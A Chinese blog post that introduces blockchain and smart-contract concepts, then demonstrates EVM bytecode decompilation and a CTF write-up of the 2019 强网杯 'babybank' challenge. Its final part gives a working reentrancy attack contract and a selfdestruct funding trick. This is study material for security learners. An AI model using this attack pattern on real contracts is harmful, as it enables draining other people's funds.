区块链 智能合约概念介绍
区块链:
区块链,就是一个又一个区块组成的链条。每一个区块中保存了一定的信息,它们按照各自产生的时间顺序连接成链条。这个链条被保存在所有的服务器中,只要整个系统中有一台服务器可以工作,整条区块链就是安全的。这些服务器在区块链系统中被称为节点,它们为整个区块链系统提供存储空间和算力支持。如果要修改区块链中的信息,必须征得半数以上节点的同意并修改所有节点中的信息(伪造区块链需要拥有超过51%的全网算力。),而这些节点通常掌握在不同的主体手中,因此篡改区块链中的信息是一件极其困难的事。相比于传统的网络,区块链具有两大核心特点:数据难以篡改和去中心化。基于这两个特点,区块链所记录的信息更加真实可靠,可以帮助解决人们互不信任的问题。
来源:百度百科
区块链本质上是一种新型数据结构。目的是提高数据传输的安全性。
部分概念解释:
高度透明
除了交易各方的私有信息被加密外,数据对全网节点是透明的
分布式自治
区块链采用基于一套公开透明的算法使得整个系统中的所有节点能够在去信任的环境自由安全的交换数据,任何人为的干预不起作用
可追溯性
后面区块拥有前面区块的哈希值,就像挂钩一样,只有识别了前面的哈希值才能挂得上去,从而形成一整条完整可追溯的链。可追溯性还有一个好的的特点就是便于数据的查询,因为这个区块是有唯一标识的
智能合约
现实生活中的合约,是由多方商讨制定,制定完成后,由专门的执行角色执行的约定。智能合约,顾名思义,是可以抛却专门的执行角色,一种可以自动化执行的规则。只要满足智能合约中制定的条件,合约就会自动被执行。
合约的执行具体是怎么实现的呢?参考上图。以太坊的每个账户都有状态树,而智能合约的目的就是通过一系列逻辑执行触发合约账户的状态变化以及通过交易改变外部账户的状态。
同时,通过这张图我们也能看出,智能合约的结构主要分为两大部分:
1.合约变量,即状态每个状态代表了什么含义。
2.函数 即合约中的函数是如何运转的,又是如何影响状态变化。
合约变量与合约函数
合约变量
合约变量主要包含以下三部分Address、mapping(address => Voter)、Proposal[]。这3个变量就是这个智能合约的状态,它们三个的值共同表示了变量的类型
address public chairperson;
// 这声明了一个状态变量,为每个可能的地址存储一个 `Voter`。
mapping(address => Voter) public voters;
// 一个 `Proposal` 结构类型的动态数组
Proposal[] public proposals;
struct Voter {
uint weight; // 计票的权重
bool voted; // 若为真,代表该人已投票
address delegate; // 被委托人
uint vote; // 投票提案的索引
}
// 提案的类型
struct Proposal {
bytes32 name; // 简称(最长32个字节)
uint voteCount; // 得票数
}
Address代表这是1个地址 mapping(address => Votor)代表是个映射表 其中key是地址 value是Voter Voter是个自定义的类型(就是一组类型的聚合),Proposal[] 代表是个数组 数组中每个元素都是Proposal Proposal也是个自定义类型
合约函数
一系列用于改变智能合约状态的函数
Constructor 构造 创建合约时调用
GiveRightToVote(增加选民)
Delegate(选民委托)
Vote(投票)
WinnerName(获取得票最高提案)
通过上文我们可以了解到,智能合约中对外可调用的函数围绕着如何修改 或 读取状态而来,如同文章开始所讲到的,智能合约执行的过程就是以太坊中状态树变化的过程。
智能合约的特点
gas费用
智能合约相比于其他编程非常要注意的1点就是运行逻辑需要收取gas费用,这使得合约编写过程要额外注重代码的高效性,尽可能地减少冗余代码。gas费用为何要存在?简单来说gas费用存在是因为计算需要耗费资源,存在gas费用可以避免恶意消耗资源的情况发生。gas费用高昂主要是因为竞争激烈。
围绕交易的语言设计
payable 关键字
这是一个函数的修饰符,只有被payable修饰过的函数才可以在调用时附带ETH。
fallback函数
调用到智能合约没有的函数时会走到fallback函数, 如果没有写fallback会抛出异常,如果是涉及到附加ETH,fallback必须被payable修饰,否则也会抛出异常
receive函数
对合约单纯转账会进入这个函数,前提是有这个函数,如果没有会进入被payable修饰的fallback函数,否则会抛出异常。
可以看到合约语言无不透露着对交易属性,这在一般的编程语言中是不会看到的。
上链的概念
很多人讨论上链的数据不可被更改,那到底什么是上链呢?上文中曾经提到以太坊当中的状态树,只要存在这棵状态树里面的数据都是上链了的。而智能合约中每个合约状态都是存在状态树中的,所以只要是合约中声明的变量都可以称为上链。
另外1个问题,链上数据是否不可更改呢?准确回答说按照规则就可以更改,不按照规则就不可以更改。换句话说,如果智能合约中有对应修改这个状态的函数,满足调用函数的条件,就可以改掉它!
智能合约攻防在ctf
知己知彼,百战不殆|智能合约代码恢复分析
反编译智能合约
想要分析智能合约背后隐藏的加密逻辑,首先我们需要将智能合约反编译为伪代码和反汇编的字节码,推荐的在线工具为Online Solidity Decompiler
使用方式如下
第一种方式是输入智能合约地址,并选择所在网络
第二钟方式是输入智能合约的opcode
样例:
合约代码如下
pragma solidity ^0.4.0;
contract Data {
uint De;
function set(uint x) public {
De = x;
}
function get() public constant returns (uint) {
return De;
}
}
编译后得到的opcode如下(做了敏感字修改)
606060405260a18060106000396000f360606040526000357c01000000000000000000000000000000000000000000000000000000009004806360fe47b11460435780636d4ce63c14605d57603f565b6002565b34600257605b60048080359060200190919050506082565b005b34600257606c60048050506090565b6040518082815260200191505060405180910390f35b806000600050819055505565b60006000600050549050609e565b9056
使用在线反编译工具报错。
This might be constructor bytecode - to get at the deployed contract, go back and remove the constructor prefix, usually up to the next 6060 or 6080.
根据提示修复,删除开头opcode,直到下一个6060.成功反编译
contract Contract {
function main() {
// Error: StackRead before write???
var var-1;
memory[block.blockHash(0x60):block.blockHash(0x60) + 0x20] = var-1;
var-1 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000;
if (var-1 != 0x60fe47b1) { goto label_0031; }
label_0043:
if (msg.value) {
label_0002:
// Error: StackRead before write???
var var-2;
memory[block.blockHash(var-1):block.blockHash(var-1) + 0x20] = var-2;
var-2 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000;
if (var-2 == 0x60fe47b1) { goto label_0043; }
label_0031:
if (var-2 != 0x6d4ce63c) { goto label_0002; }
if (msg.value) { goto label_0002; }
var-1 = 0x6c;
var-1 = func_0090();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var-1;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else {
var var0 = 0x5b;
var var1 = msg.data[0x04:0x24];
func_0082(var1);
stop();
}
}
function func_0082(var arg0) {
storage[0x00] = arg0;
}
function func_0090() returns (var r0) {
var var0 = storage[0x00];
return var0;
}
}
发现main函数第一段反编译错误,结合报错时反编译出的部分结果,得到完整的反编译代码(借鉴了零时科技大佬的注释)
contract Contract {
function main() {
//分配内存空间
memory[0x40:0x60] = 0x60;
//获取data值
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000;
//判断调用是否和set函数签名匹配,如果匹配,就继续执行
if (var0 != 0x60fe47b1) { goto label_0032; }
label_0043:
//表示不接受msg.value
if (msg.value) {
label_0002:
memory[0x40:0x60] = var0;
//获取data值
var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000;
//判断调用是否和set函数签名匹配,如果匹配,就继续执行
// Dispatch table entry for set(uint256)
//这里可得知set传入的参数类型为uint256
if (var0 == 0x60fe47b1) { goto label_0043; }
label_0032:
//判断调用是否和get函数签名匹配,如果匹配,就继续执行
if (var0 != 0x6d4ce63c) { goto label_0002; }
//表示不接受msg.value
if (msg.value) { goto label_0002; }
var var1 = 0x6c;
//这里调用get函数
var1 = func_0090();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var1;
var temp1 = memory[0x40:0x60];
//if语句后有return表示有返回值,前四行代码都是这里的判断条件,这里返回值最终为var1
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else {
var1 = 0x5b;
//在这里传入的参数
var var2 = msg.data[0x04:0x24];
//调用get函数中var2参数
func_0082(var2);
stop();
}
}
//下面定义了两个函数,也就是网站列出的两个函数签名set和get
//这里函数传入一个参数
function func_0082(var arg0) {
//slot[0]=arg0 函数传进来的参数
storage[0x00] = arg0;
}
//全局变量标记: EVM将合约中的全局变量存放在一个叫Storage的键值对虚拟空间,
// 并且对不同的数据类型有对应的组织方法,存放方式为Storage[keccak256(add, 0x00)]。
// storage也可以理解成连续的数组,称为 `slot[]`,每个位置可以存放32字节的数据
//函数未传入参数,但有返回值
function func_0090() returns (var r0) {
//这里比较清楚,将上个函数传入的参数slot[0]的值赋值给var0
var var0 = storage[0x00];
return var0;
//最终返回 var0值
}
}
通过上面的伪代码
contract AAA {
uint256 storage;
function set(uint256 a) {
storage = a;
}
function get() returns (uint256 storage) {
return storage;
}
}
反汇编智能合约
当然,你也可以借助在线工具Online Solidity Decompiler获取反编译之后的汇编代码,通过反汇编来翻译合约源程序,不过这需要较强的汇编语言基础。分析过程和汇编分析普通程序差距不大(除了汇编代码规模较大)
放两篇大佬文章供大家学习(一个智能合约的反汇编完整分析过程):
https://learnblockchain.cn/article/1877
https://learnblockchain.cn/article/1925
选择反汇编/反编译都可以,我们的出发点一定是智能合约源码恢复的难度较小,准确性较高。就用哪种
CTF中智能合约常见陷阱
合约一旦发布,即使存在漏洞就不可更改,所以对于逻辑要格外严谨。目前CTF中主要考察重入,整数溢出,空投,随机数可控四类漏洞。
重入漏洞|[2019强网杯]babybank
题目提示:
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
这个提示给出了一个函数的源码,
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
通过这一段我们可以看出:当require(balance[msg.sender] >= 10000000000);则继续执行之后代码,输出sendflag中的这两个参数,就意味着拿到了flag。因此我们的问题就转化为了,那么如何让调用者地址余额达到10000000000。
由于拿到题目后只有合约的opcode,所以需要进行逆向
在线网站逆向之后的合约代码
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.value(amount * 0x5af3107a4000)(); //重入漏洞点
balance[msg.sender] -= amount;
}
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function xxx(uint256 number) public onlyOwner {
secret = number;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount);
require(amount == 2);
require(level[msg.sender] == 2);
balance[msg.sender] = 0;
balance[to] = amount;
}
}
通过学习大佬文章我们了解到,在withdraw函数中,存在重入漏洞能够帮助我们将余额刷至10000000000。重入漏洞点在与程序使用了call.value()的转账方法
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.value(amount * 0x5af3107a4000)(); // 重入漏洞点
balance[msg.sender] -= amount;
}
使用call.value()方法进行转账时,该方法会传递所有可用 Gas 进行调用,当该方法转账的地址为攻击者的合约地址时,就会调用攻击者合约地址的fallback函数,如果攻击者在自身合约的fallback函数中写入调用题目withdraw函数的代码,就可不停的循环取币,不再执行第四行balance[msg.sender] -= amount;的减币操作,从而导致发生重入漏洞
接下来我们要做的是满足balance[msg.sender] >2 的判断条件成立。
关注如下两个增加数值的函数
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function xxx(uint256 number) public onlyOwner {
secret = number;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
首先是profit
函数,他会首先判断 level
是否为0 如果为0 则balance
都加1。然后是guess
函数会验证secret
值,而secret
值由只能合约所有者调用的xxx
函数赋予;且需要level=1
,调用一次之后level
提升为2,balance
+1
于是我们就像理清反序列化pop链那样,理清了本题智能合约利用的思路
我们还需要神器,智能合约在线编辑器
合约初始状态无ETH,无法执行操作,故需让合约地址拥有一定量的ETH
contract feng {
function kill() public payable {
selfdestruct(address(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4));
}
constructor() public payable{
}
}
带入0.2ETH利用kill函数自销毁,强行向合约转入0.2ETH
接着我们就可以构造攻击合约,利用重入漏洞可获取巨额代币,达成flag的输出条件
pragma solidity ^0.4.24;
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract attacker {
BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
uint private flag = 0;
function exploit() public payable {
target.profit();
target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
target.withdraw(2);
target.payforflag("hunya", "hunya");
}
function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}
脚本借鉴了,零时科技大佬的脚本,yyds
后记
区块链安全入门的 第一篇文章。
目前看来,区块链ctf方向与逆向的关联最密切,可以说这是时代赋予REer的新使命,既然这样。
衣带渐宽终不悔,为E消得人憔悴
加油。
下篇文章将着重介绍CTF智能合约中的整数溢出漏洞,薅羊毛漏洞,以及一个相关cnvd的复现
参考链接
https://www.jianshu.com/p/0cb38649fbb2